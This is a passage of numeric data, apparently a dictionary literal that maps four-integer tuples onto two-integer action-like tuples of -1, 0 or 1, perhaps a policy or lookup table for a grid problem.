1), (7, 8, 3, -4): (0, 1), (7, 8, 3, -3): (0, 1), (7, 8, 3, -2): (0, 1), (7, 8, 3, -1): (0, 1), (7, 8, 3, 0): (0, 1), (7, 8, 3, 1): (0, 1), (7, 8, 3, 2): (0, 1), (7, 8, 3, 3): (-1, 1), (7, 8, 3, 4): (-1, 1), (7, 8, 3, 5): (-1, 1), (7, 8, 4, -5): (0, 1), (7, 8, 4, -4): (0, 1), (7, 8, 4, -3): (0, 1), (7, 8, 4, -2): (0, 1), (7, 8, 4, -1): (0, 1), (7, 8, 4, 0): (0, 1), (7, 8, 4, 1): (0, 1), (7, 8, 4, 2): (0, 1), (7, 8, 4, 3): (0, 1), (7, 8, 4, 4): (0, 1), (7, 8, 4, 5): (0, 1), (7, 8, 5, -5): (0, 1), (7, 8, 5, -4): (0, 1), (7, 8, 5, -3): (0, 1), (7, 8, 5, -2): (0, 1), (7, 8, 5, -1): (0, 1), (7, 8, 5, 0): (0, 1), (7, 8, 5, 1): (0, 1), (7, 8, 5, 2): (0, 1), (7, 8, 5, 3): (0, 1), (7, 8, 5, 4): (0, 1), (7, 8, 5, 5): (0, 1), (7, 9, -5, -5): (0, 1), (7, 9, -5, -4): (0, 1), (7, 9, -5, -3): (0, 1), (7, 9, -5, -2): (0, 1), (7, 9, -5, -1): (0, 1), (7, 9, -5, 0): (0, 1), (7, 9, -5, 1): (0, 1), (7, 9, -5, 2): (0, 1), (7, 9, -5, 3): (0, 1), (7, 9, -5, 4): (0, 1), (7, 9, -5, 5): (0, 1), (7, 9, -4, -5): (0, 1), (7, 9, -4, -4): (0, 1), (7, 9, -4, -3): (0, 1), (7, 9, -4, -2): (0, 1), (7, 9, -4, -1): (0, 1), (7, 9, -4, 0): (0, 1), (7, 9, -4, 1): (0, 1), (7, 9, -4, 2): (0, 1), (7, 9, -4, 3): (0, 1), (7, 9, -4, 4): (0, 1), (7, 9, -4, 5): (0, 1), (7, 9, -3, -5): (0, 1), (7, 9, -3, -4): (0, 1), (7, 9, -3, -3): (0, 1), (7, 9, -3, -2): (0, 1), (7, 9, -3, -1): (0, 1), (7, 9, -3, 0): (0, 1), (7, 9, -3, 1): (0, 1), (7, 9, -3, 2): (0, 1), (7, 9, -3, 3): (0, 1), (7, 9, -3, 4): (0, 1), (7, 9, -3, 5): (0, 1), (7, 9, -2, -5): (0, 1), (7, 9, -2, -4): (0, 1), (7, 9, -2, -3): (0, 1), (7, 9, -2, -2): (0, 1), (7, 9, -2, -1): (0, 1), (7, 9, -2, 0): (1, 1), (7, 9, -2, 1): (1, 1), (7, 9, -2, 2): (1, 1), (7, 9, -2, 3): (1, 1), (7, 9, -2, 4): (1, 1), (7, 9, -2, 5): (1, 0), (7, 9, -1, -5): (-1, 1), (7, 9, -1, -4): (-1, 1), (7, 9, -1, -3): (-1, 1), (7, 9, -1, -2): (-1, 1), (7, 9, -1, -1): (-1, 1), (7, 9, -1, 0): (1, 1), (7, 9, -1, 1): (1, 1), (7, 9, -1, 2): (1, 1), (7, 9, -1, 3): (1, 1), (7, 9, -1, 4): (1, 1), (7, 9, -1, 5): (1, 0), (7, 9, 0, -5): (-1, 1), (7, 9, 0, -4): (-1, 1), (7, 9, 0, -3): (-1, 1), (7, 9, 0, -2): (-1, 1), (7, 9, 0, -1): (1, 1), (7, 9, 0, 0): (0, 1), (7, 9, 0, 1): (1, 1), (7, 9, 0, 2): (1, 1), (7, 9, 0, 3): (1, 1), (7, 9, 0, 4): (0, 1), (7, 9, 0, 5): (0, 1), (7, 9, 1, -5): (1, 1), (7, 9, 1, -4): (1, 1), (7, 9, 1, -3): (1, 1), (7, 9, 1, -2): (1, 1), (7, 9, 1, -1): (0, 1), (7, 9, 1, 0): (-1, 1), (7, 9, 1, 1): (0, 1), (7, 9, 1, 2): (0, 1), (7, 9, 1, 3): (0, 1), (7, 9, 1, 4): (-1, 1), (7, 9, 1, 5): (-1, 1), (7, 9, 2, -5): (1, 1), (7, 9, 2, -4): (1, 1), (7, 9, 2, -3): (1, 1), (7, 9, 2, -2): (1, 1), (7, 9, 2, -1): (1, 1), (7, 9, 2, 0): (-1, 1), (7, 9, 2, 1): (-1, 1), (7, 9, 2, 2): (-1, 1), (7, 9, 2, 3): (-1, 1), (7, 9, 2, 4): (-1, 1), (7, 9, 2, 5): (-1, 1), (7, 9, 3, -5): (0, 1), (7, 9, 3, -4): (0, 1), (7, 9, 3, -3): (0, 1), (7, 9, 3, -2): (0, 1), (7, 9, 3, -1): (0, 1), (7, 9, 3, 0): (0, 1), (7, 9, 3, 1): (0, 1), (7, 9, 3, 2): (0, 1), (7, 9, 3, 3): (-1, 1), (7, 9, 3, 4): (-1, 1), (7, 9, 3, 5): (-1, 1), (7, 9, 4, -5): (0, 1), (7, 9, 4, -4): (0, 1), (7, 9, 4, -3): (0, 1), (7, 9, 4, -2): (0, 1), (7, 9, 4, -1): (0, 1), (7, 9, 4, 0): (0, 1), (7, 9, 4, 1): (0, 1), (7, 9, 4, 2): (0, 1), (7, 9, 4, 3): (0, 1), (7, 9, 4, 4): (0, 1), (7, 9, 4, 5): (0, 1), (7, 9, 5, -5): (0, 1), (7, 9, 5, -4): (0, 1), (7, 9, 5, -3): (0, 1), (7, 9, 5, -2): (0, 1), (7, 9, 5, -1): (0, 1), (7, 9, 5, 0): (0, 1), (7, 9, 5, 1): (0, 1), (7, 9, 5, 2): (0, 1), (7, 9, 5, 3): (0, 1), (7, 9, 5, 4): (0, 1), (7, 9, 5, 5): (0, 1), (7, 10, -5, -5): (0, 1), (7, 10, -5, -4): (0, 1), (7, 10, -5, -3): (0, 1), (7, 10, -5, -2): (0, 1), (7, 10, -5, -1): (0, 1), (7, 10, -5, 0): (0, 1), (7, 10, -5, 1): (0, 1), (7, 10, -5, 2): (0, 1), (7, 10, -5, 3): (0, 1), (7, 10, -5, 4): (0, 1), (7, 10, -5, 5): (0, 1), (7, 10, -4, -5): (0, 1), (7, 10, -4, -4): (0, 1), (7, 10, -4, -3): (0, 1), (7, 10, -4, -2): (0, 1), (7, 10, -4, -1): (0, 1), (7, 10, -4, 0): (0, 1), (7, 10, -4, 1): (0, 1), (7, 10, -4, 2): (0, 1), (7, 10, -4, 3): (0, 1), (7, 10, -4, 4): (0, 1), (7, 10, -4, 5): (0, 1), (7, 10, -3, -5): (0, 1), (7, 10, -3, -4): (0, 1), (7, 10, -3, -3): (0, 1), (7, 10, -3, -2): (0, 1), (7, 10, -3, -1): (0, 1), (7, 10, -3, 0): (0, 1), (7, 10, -3, 1): (0, 1), (7, 10, -3, 2): (0, 1), (7, 10, -3, 3): (0, 1), (7, 10, -3, 4): (0, 1), (7, 10, -3, 5): (0, 1), (7, 10, -2, -5): (0, 1), (7, 10, -2, -4): (0, 1), (7, 10, -2, -3): (0, 1), (7, 10, -2, -2): (0, 1), (7, 10, -2, -1): (0, 1), (7, 10, -2, 0): (1, 1), (7, 10, -2, 1): (1, 1), (7, 10, -2, 2): (1, 1), (7, 10, -2, 3): (1, 1), (7, 10, -2, 4): (1, 1), (7, 10, -2, 5): (1, 0), (7, 10, -1, -5): (-1, 1), (7, 10, -1, -4): (-1, 1), (7, 10, -1, -3): (-1, 1), (7, 10, -1, -2): (-1, 1), (7, 10, -1, -1): (1, 1), (7, 10, -1, 0): (1, 1), (7, 10, -1, 1): (1, 1), (7, 10, -1, 2): (1, 1), (7, 10, -1, 3): (1, 1), (7, 10, -1, 4): (1, 1), (7, 10, -1, 5): (1, 0), (7, 10, 0, -5): (-1, 1), (7, 10, 0, -4): (-1, 1), (7, 10, 0, -3): (-1, 1), (7, 10, 0, -2): (-1, 1), (7, 10, 0, -1): (1, 1), (7, 10, 0, 0): (1, 1), (7, 10, 0, 1): (0, 1), (7, 10, 0, 2): (1, 1), (7, 10, 0, 3): (0, 1), (7, 10, 0, 4): (0, 1), (7, 10, 0, 5): (0, 1), (7, 10, 1, -5): (1, 1), (7, 10, 1, -4): (1, 1), (7, 10, 1, -3): (1, 1), (7, 10, 1, -2): (1, 1), (7, 10, 1, -1): (0, 1), (7, 10, 1, 0): (0, 1), (7, 10, 1, 1): (-1, 1), (7, 10, 1, 2): (0, 1), (7, 10, 1, 3): (-1, 1), (7, 10, 1, 4): (-1, 1), (7, 10, 1, 5): (-1, 1), (7, 10, 2, -5): (1, 1), (7, 10, 2, -4): (1, 1), (7, 10, 2, -3): (1, 1), (7, 10, 2, -2): (1, 1), (7, 10, 2, -1): (1, 1), (7, 10, 2, 0): (-1, 1), (7, 10, 2, 1): (-1, 1), (7, 10, 2, 2): (-1, 1), (7, 10, 2, 3): (-1, 1), (7, 10, 2, 4): (-1, 0), (7, 10, 2, 5): (-1, -1), (7, 10, 3, -5): (0, 1), (7, 10, 3, -4): (0, 1), (7, 10, 3, -3): (0, 1), (7, 10, 3, -2): (0, 1), (7, 10, 3, -1): (0, 1), (7, 10, 3, 0): (0, 1), (7, 10, 3, 1): (0, 1), (7, 10, 3, 2): (0, 1), (7, 10, 3, 3): (-1, 1), (7, 10, 3, 4): (-1, 1), (7, 10, 3, 5): (-1, 1), (7, 10, 4, -5): (0, 1), (7, 10, 4, -4): (0, 1), (7, 10, 4, -3): (0, 1), (7, 10, 4, -2): (0, 1), (7, 10, 4, -1): (0, 1), (7, 10, 4, 0): (0, 1), (7, 10, 4, 1): (0, 1), (7, 10, 4, 2): (0, 1), (7, 10, 4, 3): (0, 1), (7, 10, 4, 4): (0, 1), (7, 10, 4, 5): (0, 1), (7, 10, 5, -5): (0, 1), (7, 10, 5, -4): (0, 1), (7, 10, 5, -3): (0, 1), (7, 10, 5, -2): (0, 1), (7, 10, 5, -1): (0, 1), (7, 10, 5, 0): (0, 1), (7, 10, 5, 1): (0, 1), (7, 10, 5, 2): (0, 1), (7, 10, 5, 3): (0, 1), (7, 10, 5, 4): (0, 1), (7, 10, 5, 5): (0, 1), (7, 11, -5, -5): (0, 1), (7, 11, -5, -4): (0, 1), (7, 11, -5, -3): (0, 1), (7, 11, -5, -2): (0, 1), (7, 11, -5, -1): (0, 1), (7, 11, -5, 0): (0, 1), (7, 11, -5, 1): (0, 1), (7, 11, -5, 2): (0, 1), (7, 11, -5, 3): (0, 1), (7, 11, -5, 4): (0, 1), (7, 11, -5, 5): (0, 1), (7, 11, -4, -5): (0, 1), (7, 11, -4, -4): (0, 1), (7, 11, -4, -3): (0, 1), (7, 11, -4, -2): (0, 1), (7, 11, -4, -1): (0, 1), (7, 11, -4, 0): (0, 1), (7, 11, -4, 1): (0, 1), (7, 11, -4, 2): (0, 1), (7, 11, -4, 3): (0, 1), (7, 11, -4, 4): (0, 1), (7, 11, -4, 5): (0, 1), (7, 11, -3, -5): (0, 1), (7, 11, -3, -4): (0, 1), (7, 11, -3, -3): (0, 1), (7, 11, -3, -2): (0, 1), (7, 11, -3, -1): (0, 1), (7, 11, -3, 0): (0, 1), (7, 11, -3, 1): (0, 1), (7, 11, -3, 2): (0, 1), (7, 11, -3, 3): (0, 1), (7, 11, -3, 4): (0, 1), (7, 11, -3, 5): (0, 1), (7, 11, -2, -5): (0, 1), (7, 11, -2, -4): (0, 1), (7, 11, -2, -3): (0, 1), (7, 11, -2, -2): (0, 1), (7, 11, -2, -1): (0, 1), (7, 11, -2, 0): (1, 1), (7, 11, -2, 1): (1, 1), (7, 11, -2, 2): (1, 1), (7, 11, -2, 3): (1, 1), (7, 11, -2, 4): (1, 1), (7, 11, -2, 5): (1, 0), (7, 11, -1, -5): (-1, 1), (7, 11, -1, -4): (-1, 1), (7, 11, -1, -3): (-1, 1), (7, 11, -1, -2): (-1, 1), (7, 11, -1, -1): (0, 1), (7, 11, -1, 0): (1, 1), (7, 11, -1, 1): (1, 1), (7, 11, -1, 2): (1, 1), (7, 11, -1, 3): (1, 1), (7, 11, -1, 4): (1, 1), (7, 11, -1, 5): (1, 0), (7, 11, 0, -5): (-1, 1), (7, 11, 0, -4): (-1, 1), (7, 11, 0, -3): (-1, 1), (7, 11, 0, -2): (1, 1), (7, 11, 0, -1): (1, 1), (7, 11, 0, 0): (0, 1), (7, 11, 0, 1): (1, 1), (7, 11, 0, 2): (1, 1), (7, 11, 0, 3): (0, 1), (7, 11, 0, 4): (0, 1), (7, 11, 0, 5): (0, 1), (7, 11, 1, -5): (1, 1), (7, 11, 1, -4): (1, 1), (7, 11, 1, -3): (1, 1), (7, 11, 1, -2): (1, 1), (7, 11, 1, -1): (0, 1), (7, 11, 1, 0): (-1, 1), (7, 11, 1, 1): (0, 1), (7, 11, 1, 2): (0, 1), (7, 11, 1, 3): (-1, 1), (7, 11, 1, 4): (-1, 1), (7, 11, 1, 5): (-1, 1), (7, 11, 2, -5): (1, 1), (7, 11, 2, -4): (1, 1), (7, 11, 2, -3): (1, 1), (7, 11, 2, -2): (1, 1), (7, 11, 2, -1): (1, 1), (7, 11, 2, 0): (-1, 1), (7, 11, 2, 1): (-1, 1), (7, 11, 2, 2): (-1, 1), (7, 11, 2, 3): (-1, 1), (7, 11, 2, 4): (-1, 1), (7, 11, 2, 5): (-1, 1), (7, 11, 3, -5): (0, 1), (7, 11, 3, -4): (0, 1), (7, 11, 3, -3): (0, 1), (7, 11, 3, -2): (0, 1), (7, 11, 3, -1): (0, 1), (7, 11, 3, 0): (0, 1), (7, 11, 3, 1): (0, 1), (7, 11, 3, 2): (-1, 1), (7, 11, 3, 3): (-1, 1), (7, 11, 3, 4): (-1, 1), (7, 11, 3, 5): (-1, 1), (7, 11, 4, -5): (0, 1), (7, 11, 4, -4): (0, 1), (7, 11, 4, -3): (0, 1), (7, 11, 4, -2): (0, 1), (7, 11, 4, -1): (0, 1), (7, 11, 4, 0): (0, 1), (7, 11, 4, 1): (0, 1), (7, 11, 4, 2): (0, 1), (7, 11, 4, 3): (0, 1), (7, 11, 4, 4): (0, 1), (7, 11, 4, 5): (0, 1), (7, 11, 5, -5): (0, 1), (7, 11, 5, -4): (0, 1), (7, 11, 5, -3): (0, 1), (7, 11, 5, -2): (0, 1), (7, 11, 5, -1): (0, 1), (7, 11, 5, 0): (0, 1), (7, 11, 5, 1): (0, 1), (7, 11, 5, 2): (0, 1), (7, 11, 5, 3): (0, 1), (7, 11, 5, 4): (0, 1), (7, 11, 5, 5): (0, 1), (7, 12, -5, -5): (0, 1), (7, 12, -5, -4): (0, 1), (7, 12, -5, -3): (0, 1), (7, 12, -5, -2): (0, 1), (7, 12, -5, -1): (0, 1), (7, 12, -5, 0): (0, 1), (7, 12, -5, 1): (0, 1), (7, 12, -5, 2): (0, 1), (7, 12, -5, 3): (0, 1), (7, 12, -5, 4): (0, 1), (7, 12, -5, 5): (0, 1), (7, 12, -4, -5): (0, 1), (7, 12, -4, -4): (0, 1), (7, 12, -4, -3): (0, 1), (7, 12, -4, -2): (0, 1), (7, 12, -4, -1): (0, 1), (7, 12, -4, 0): (0, 1), (7, 12, -4, 1): (0, 1), (7, 12, -4, 2): (0, 1), (7, 12, -4, 3): (0, 1), (7, 12, -4, 4): (0, 1), (7, 12, -4, 5): (0, 1), (7, 12, -3, -5): (0, 1), (7, 12, -3, -4): (0, 1), (7, 12, -3, -3): (0, 1), (7, 12, -3, -2): (0, 1), (7, 12, -3, -1): (0, 1), (7, 12, -3, 0): (0, 1), (7, 12, -3, 1): (0, 1), (7, 12, -3, 2): (0, 1), (7, 12, -3, 3): (0, 1), (7, 12, -3, 4): (0, 1), (7, 12, -3, 5): (0, 1), (7, 12, -2, -5): (0, 1), (7, 12, -2, -4): (0, 1), (7, 12, -2, -3): (0, 1), (7, 12, -2, -2): (0, 1), (7, 12, -2, -1): (0, 1), (7, 12, -2, 0): (1, 1), (7, 12, -2, 1): (1, 1), (7, 12, -2, 2): (1, 1), (7, 12, -2, 3): (1, 1), (7, 12, -2, 4): (1, 1), (7, 12, -2, 5): (1, 0), (7, 12, -1, -5): (-1, 1), (7, 12, -1, -4): (-1, 1), (7, 12, -1, -3): (-1, 1), (7, 12, -1, -2): (-1, 1), (7, 12, -1, -1): (1, 1), (7, 12, -1, 0): (1, 1), (7, 12, -1, 1): (1, 1), (7, 12, -1, 2): (1, 1), (7, 12, -1, 3): (1, 1), (7, 12, -1, 4): (1, 1), (7, 12, -1, 5): (1, 0), (7, 12, 0, -5): (-1, 1), (7, 12, 0, -4): (-1, 1), (7, 12, 0, -3): (-1, 1), (7, 12, 0, -2): (1, 1), (7, 12, 0, -1): (1, 1), (7, 12, 0, 0): (1, 1), (7, 12, 0, 1): (0, 1), (7, 12, 0, 2): (0, 1), (7, 12, 0, 3): (0, 1), (7, 12, 0, 4): (0, 1), (7, 12, 0, 5): (0, 1), (7, 12, 1, -5): (1, 1), (7, 12, 1, -4): (1, 1), (7, 12, 1, -3): (1, 1), (7, 12, 1, -2): (1, 1), (7, 12, 1, -1): (0, 1), (7, 12, 1, 0): (0, 1), (7, 12, 1, 1): (-1, 1), (7, 12, 1, 2): (-1, 1), (7, 12, 1, 3): (-1, 1), (7, 12, 1, 4): (-1, 1), (7, 12, 1, 5): (-1, 1), (7, 12, 2, -5): (1, 1), (7, 12, 2, -4): (1, 1), (7, 12, 2, -3): (1, 1), (7, 12, 2, -2): (1, 1), (7, 12, 2, -1): (1, 1), (7, 12, 2, 0): (-1, 1), (7, 12, 2, 1): (-1, 1), (7, 12, 2, 2): (-1, 1), (7, 12, 2, 3): (-1, 1), (7, 12, 2, 4): (-1, 1), (7, 12, 2, 5): (-1, 1), (7, 12, 3, -5): (0, 1), (7, 12, 3, -4): (0, 1), (7, 12, 3, -3): (0, 1), (7, 12, 3, -2): (0, 1), (7, 12, 3, -1): (0, 1), (7, 12, 3, 0): (0, 1), (7, 12, 3, 1): (0, 1), (7, 12, 3, 2): (-1, 1), (7, 12, 3, 3): (-1, 1), (7, 12, 3, 4): (-1, 1), (7, 12, 3, 5): (-1, 1), (7, 12, 4, -5): (0, 1), (7, 12, 4, -4): (0, 1), (7, 12, 4, -3): (0, 1), (7, 12, 4, -2): (0, 1), (7, 12, 4, -1): (0, 1), (7, 12, 4, 0): (0, 1), (7, 12, 4, 1): (0, 1), (7, 12, 4, 2): (0, 1), (7, 12, 4, 3): (0, 1), (7, 12, 4, 4): (0, 1), (7, 12, 4, 5): (0, 1), (7, 12, 5, -5): (0, 1), (7, 12, 5, -4): (0, 1), (7, 12, 5, -3): (0, 1), (7, 12, 5, -2): (0, 1), (7, 12, 5, -1): (0, 1), (7, 12, 5, 0): (0, 1), (7, 12, 5, 1): (0, 1), (7, 12, 5, 2): (0, 1), (7, 12, 5, 3): (0, 1), (7, 12, 5, 4): (0, 1), (7, 12, 5, 5): (0, 1), (7, 13, -5, -5): (0, 1), (7, 13, -5, -4): (0, 1), (7, 13, -5, -3): (0, 1), (7, 13, -5, -2): (0, 1), (7, 13, -5, -1): (0, 1), (7, 13, -5, 0): (0, 1), (7, 13, -5, 1): (0, 1), (7, 13, -5, 2): (0, 1), (7, 13, -5, 3): (0, 1), (7, 13, -5, 4): (0, 1), (7, 13, -5, 5): (0, 1), (7, 13, -4, -5): (0, 1), (7, 13, -4, -4): (0, 1), (7, 13, -4, -3): (0, 1), (7, 13, -4, -2): (0, 1), (7, 13, -4, -1): (0, 1), (7, 13, -4, 0): (0, 1), (7, 13, -4, 1): (0, 1), (7, 13, -4, 2): (0, 1), (7, 13, -4, 3): (0, 1), (7, 13, -4, 4): (0, 1), (7, 13, -4, 5): (0, 1), (7, 13, -3, -5): (0, 1), (7, 13, -3, -4): (0, 1), (7, 13, -3, -3): (0, 1), (7, 13, -3, -2): (0, 1), (7, 13, -3, -1): (0, 1), (7, 13, -3, 0): (0, 1), (7, 13, -3, 1): (0, 1), (7, 13, -3, 2): (0, 1), (7, 13, -3, 3): (0, 1), (7, 13, -3, 4): (0, 1), (7, 13, -3, 5): (0, 1), (7, 13, -2, -5): (0, 1), (7, 13, -2, -4): (0, 1), (7, 13, -2, -3): (0, 1), (7, 13, -2, -2): (0, 1), (7, 13, -2, -1): (0, 1), (7, 13, -2, 0): (1, 1), (7, 13, -2, 1): (1, 1), (7, 13, -2, 2): (1, 1), (7, 13, -2, 3): (1, 1), (7, 13, -2, 4): (1, 1), (7, 13, -2, 5): (1, 0), (7, 13, -1, -5): (-1, 1), (7, 13, -1, -4): (-1, 1), (7, 13, -1, -3): (-1, 1), (7, 13, -1, -2): (-1, 1), (7, 13, -1, -1): (1, 1), (7, 13, -1, 0): (1, 1), (7, 13, -1, 1): (1, 1), (7, 13, -1, 2): (1, 1), (7, 13, -1, 3): (1, 1), (7, 13, -1, 4): (1, 1), (7, 13, -1, 5): (1, 0), (7, 13, 0, -5): (-1, 1), (7, 13, 0, -4): (-1, 1), (7, 13, 0, -3): (1, 1), (7, 13, 0, -2): (1, 1), (7, 13, 0, -1): (1, 1), (7, 13, 0, 0): (1, 1), (7, 13, 0, 1): (0, 1), (7, 13, 0, 2): (0, 1), (7, 13, 0, 3): (0, 1), (7, 13, 0, 4): (0, 1), (7, 13, 0, 5): (0, 1), (7, 13, 1, -5): (1, 1), (7, 13, 1, -4): (1, 1), (7, 13, 1, -3): (1, 1), (7, 13, 1, -2): (1, 1), (7, 13, 1, -1): (0, 1), (7, 13, 1, 0): (0, 1), (7, 13, 1, 1): (-1, 1), (7, 13, 1, 2): (-1, 1), (7, 13, 1, 3): (-1, 1), (7, 13, 1, 4): (-1, 1), (7, 13, 1, 5): (-1, 1), (7, 13, 2, -5): (1, 1), (7, 13, 2, -4): (1, 1), (7, 13, 2, -3): (1, 1), (7, 13, 2, -2): (1, 1), (7, 13, 2, -1): (1, 1), (7, 13, 2, 0): (-1, 1), (7, 13, 2, 1): (-1, 1), (7, 13, 2, 2): (-1, 1), (7, 13, 2, 3): (-1, 1), (7, 13, 2, 4): (-1, 1), (7, 13, 2, 5): (-1, 1), (7, 13, 3, -5): (0, 1), (7, 13, 3, -4): (0, 1), (7, 13, 3, -3): (0, 1), (7, 13, 3, -2): (0, 1), (7, 13, 3, -1): (0, 1), (7, 13, 3, 0): (0, 1), (7, 13, 3, 1): (0, 1), (7, 13, 3, 2): (0, 1), (7, 13, 3, 3): (-1, 1), (7, 13, 3, 4): (-1, 1), (7, 13, 3, 5): (-1, 1), (7, 13, 4, -5): (0, 1), (7, 13, 4, -4): (0, 1), (7, 13, 4, -3): (0, 1), (7, 13, 4, -2): (0, 1), (7, 13, 4, -1): (0, 1), (7, 13, 4, 0): (0, 1), (7, 13, 4, 1): (0, 1), (7, 13, 4, 2): (0, 1), (7, 13, 4, 3): (0, 1), (7, 13, 4, 4): (0, 1), (7, 13, 4, 5): (0, 1), (7, 13, 5, -5): (0, 1), (7, 13, 5, -4): (0, 1), (7, 13, 5, -3): (0, 1), (7, 13, 5, -2): (0, 1), (7, 13, 5, -1): (0, 1), (7, 13, 5, 0): (0, 1), (7, 13, 5, 1): (0, 1), (7, 13, 5, 2): (0, 1), (7, 13, 5, 3): (0, 1), (7, 13, 5, 4): (0, 1), (7, 13, 5, 5): (0, 1), (7, 14, -5, -5): (0, 1), (7, 14, -5, -4): (0, 1), (7, 14, -5, -3): (0, 1), (7, 14, -5, -2): (0, 1), (7, 14, -5, -1): (0, 1), (7, 14, -5, 0): (0, 1), (7, 14, -5, 1): (0, 1), (7, 14, -5, 2): (0, 1), (7, 14, -5, 3): (0, 1), (7, 14, -5, 4): (0, 0), (7, 14, -5, 5): (-1, -1), (7, 14, -4, -5): (0, 1), (7, 14, -4, -4): (0, 1), (7, 14, -4, -3): (0, 1), (7, 14, -4, -2): (0, 1), (7, 14, -4, -1): (0, 1), (7, 14, -4, 0): (0, 1), (7, 14, -4, 1): (0, 1), (7, 14, -4, 2): (0, 1), (7, 14, -4, 3): (0, 1), (7, 14, -4, 4): (0, 0), (7, 14, -4, 5): (-1, -1), (7, 14, -3, -5): (0, 1), (7, 14, -3, -4): (0, 1), (7, 14, -3, -3): (0, 1), (7, 14, -3, -2): (0, 1), (7, 14, -3, -1): (0, 1), (7, 14, -3, 0): (0, 1), (7, 14, -3, 1): (0, 1), (7, 14, -3, 2): (0, 1), (7, 14, -3, 3): (0, 1), (7, 14, -3, 4): (0, 0), (7, 14, -3, 5): (-1, -1), (7, 14, -2, -5): (0, 1), (7, 14, -2, -4): (0, 1), (7, 14, -2, -3): (0, 1), (7, 14, -2, -2): (0, 1), (7, 14, -2, -1): (0, 1), (7, 14, -2, 0): (1, 1), (7, 14, -2, 1): (1, 1), (7, 14, -2, 2): (1, 1), (7, 14, -2, 3): (1, 1), (7, 14, -2, 4): (1, 0), (7, 14, -2, 5): (1, -1), (7, 14, -1, -5): (-1, 1), (7, 14, -1, -4): (-1, 1), (7, 14, -1, -3): (-1, 1), (7, 14, -1, -2): (-1, 1), (7, 14, -1, -1): (1, 1), (7, 14, -1, 0): (1, 1), (7, 14, -1, 1): (1, 1), (7, 14, -1, 2): (1, 1), (7, 14, -1, 3): (1, 1), (7, 14, -1, 4): (1, 1), (7, 14, -1, 5): (1, 0), (7, 14, 0, -5): (-1, 1), (7, 14, 0, -4): (-1, 1), (7, 14, 0, -3): (1, 1), (7, 14, 0, -2): (-1, 1), (7, 14, 0, -1): (1, 1), (7, 14, 0, 0): (1, 1), (7, 14, 0, 1): (1, 1), (7, 14, 0, 2): (0, 1), (7, 14, 0, 3): (0, 1), (7, 14, 0, 4): (0, 1), (7, 14, 0, 5): (0, 1), (7, 14, 1, -5): (1, 1), (7, 14, 1, -4): (1, 1), (7, 14, 1, -3): (1, 1), (7, 14, 1, -2): (1, 1), (7, 14, 1, -1): (0, 1), (7, 14, 1, 0): (0, 1), (7, 14, 1, 1): (0, 1), (7, 14, 1, 2): (-1, 1), (7, 14, 1, 3): (-1, 1), (7, 14, 1, 4): (-1, 1), (7, 14, 1, 5): (-1, 1), (7, 14, 2, -5): (1, 1), (7, 14, 2, -4): (1, 1), (7, 14, 2, -3): (1, 1), (7, 14, 2, -2): (1, 1), (7, 14, 2, -1): (1, 1), (7, 14, 2, 0): (-1, 1), (7, 14, 2, 1): (-1, 1), (7, 14, 2, 2): (-1, 1), (7, 14, 2, 3): (-1, 1), (7, 14, 2, 4): (-1, 1), (7, 14, 2, 5): (-1, 1), (7, 14, 3, -5): (0, 1), (7, 14, 3, -4): (0, 1), (7, 14, 3, -3): (0, 1), (7, 14, 3, -2): (0, 1), (7, 14, 3, -1): (0, 1), (7, 14, 3, 0): (0, 1), (7, 14, 3, 1): (0, 1), (7, 14, 3, 2): (0, 1), (7, 14, 3, 3): (-1, 1), (7, 14, 3, 4): (-1, 1), (7, 14, 3, 5): (-1, 1), (7, 14, 4, -5): (0, 1), (7, 14, 4, -4): (0, 1), (7, 14, 4, -3): (0, 1), (7, 14, 4, -2): (0, 1), (7, 14, 4, -1): (0, 1), (7, 14, 4, 0): (0, 1), (7, 14, 4, 1): (0, 1), (7, 14, 4, 2): (0, 1), (7, 14, 4, 3): (0, 1), (7, 14, 4, 4): (0, 0), (7, 14, 4, 5): (-1, -1), (7, 14, 5, -5): (0, 1), (7, 14, 5, -4): (0, 1), (7, 14, 5, -3): (0, 1), (7, 14, 5, -2): (0, 1), (7, 14, 5, -1): (0, 1), (7, 14, 5, 0): (0, 1), (7, 14, 5, 1): (0, 1), (7, 14, 5, 2): (0, 1), (7, 14, 5, 3): (0, 1), (7, 14, 5, 4): (0, 0), (7, 14, 5, 5): (-1, -1), (7, 15, -5, -5): (0, 1), (7, 15, -5, -4): (0, 1), (7, 15, -5, -3): (0, 1), (7, 15, -5, -2): (0, 1), (7, 15, -5, -1): (0, 1), (7, 15, -5, 0): (0, 1), (7, 15, -5, 1): (0, 1), (7, 15, -5, 2): (0, 1), (7, 15, -5, 3): (0, 0), (7, 15, -5, 4): (0, 1), (7, 15, -5, 5): (0, 1), (7, 15, -4, -5): (0, 1), (7, 15, -4, -4): (0, 1), (7, 15, -4, -3): (0, 1), (7, 15, -4, -2): (0, 1), (7, 15, -4, -1): (0, 1), (7, 15, -4, 0): (0, 1), (7, 15, -4, 1): (0, 1), (7, 15, -4, 2): (0, 1), (7, 15, -4, 3): (0, 0), (7, 15, -4, 4): (0, 1), (7, 15, -4, 5): (0, 1), (7, 15, -3, -5): (0, 1), (7, 15, -3, -4): (0, 1), (7, 15, -3, -3): (0, 1), (7, 15, -3, -2): (0, 1), (7, 15, -3, -1): (0, 1), (7, 15, -3, 0): (0, 1), (7, 15, -3, 1): (0, 1), (7, 15, -3, 2): (0, 1), (7, 15, -3, 3): (0, 0), (7, 15, -3, 4): (0, 1), (7, 15, -3, 5): (0, 1), (7, 15, -2, -5): (0, 1), (7, 15, -2, -4): (0, 1), (7, 15, -2, -3): (0, 1), (7, 15, -2, -2): (0, 1), (7, 15, -2, -1): (0, 1), (7, 15, -2, 0): (1, 1), (7, 15, -2, 1): (1, 1), (7, 15, -2, 2): (1, 1), (7, 15, -2, 3): (1, 1), (7, 15, -2, 4): (1, 1), (7, 15, -2, 5): (1, 0), (7, 15, -1, -5): (-1, 1), (7, 15, -1, -4): (-1, 1), (7, 15, -1, -3): (-1, 1), (7, 15, -1, -2): (-1, 1), (7, 15, -1, -1): (-1, 1), (7, 15, -1, 0): (1, 1), (7, 15, -1, 1): (1, 1), (7, 15, -1, 2): (1, 1), (7, 15, -1, 3): (1, 1), (7, 15, -1, 4): (1, 0), (7, 15, -1, 5): (1, -1), (7, 15, 0, -5): (-1, 1), (7, 15, 0, -4): (-1, 1), (7, 15, 0, -3): (-1, 1), (7, 15, 0, -2): (-1, 1), (7, 15, 0, -1): (1, 1), (7, 15, 0, 0): (0, 1), (7, 15, 0, 1): (1, 1), (7, 15, 0, 2): (0, 1), (7, 15, 0, 3): (0, 1), (7, 15, 0, 4): (0, 0), (7, 15, 0, 5): (0, -1), (7, 15, 1, -5): (1, 1), (7, 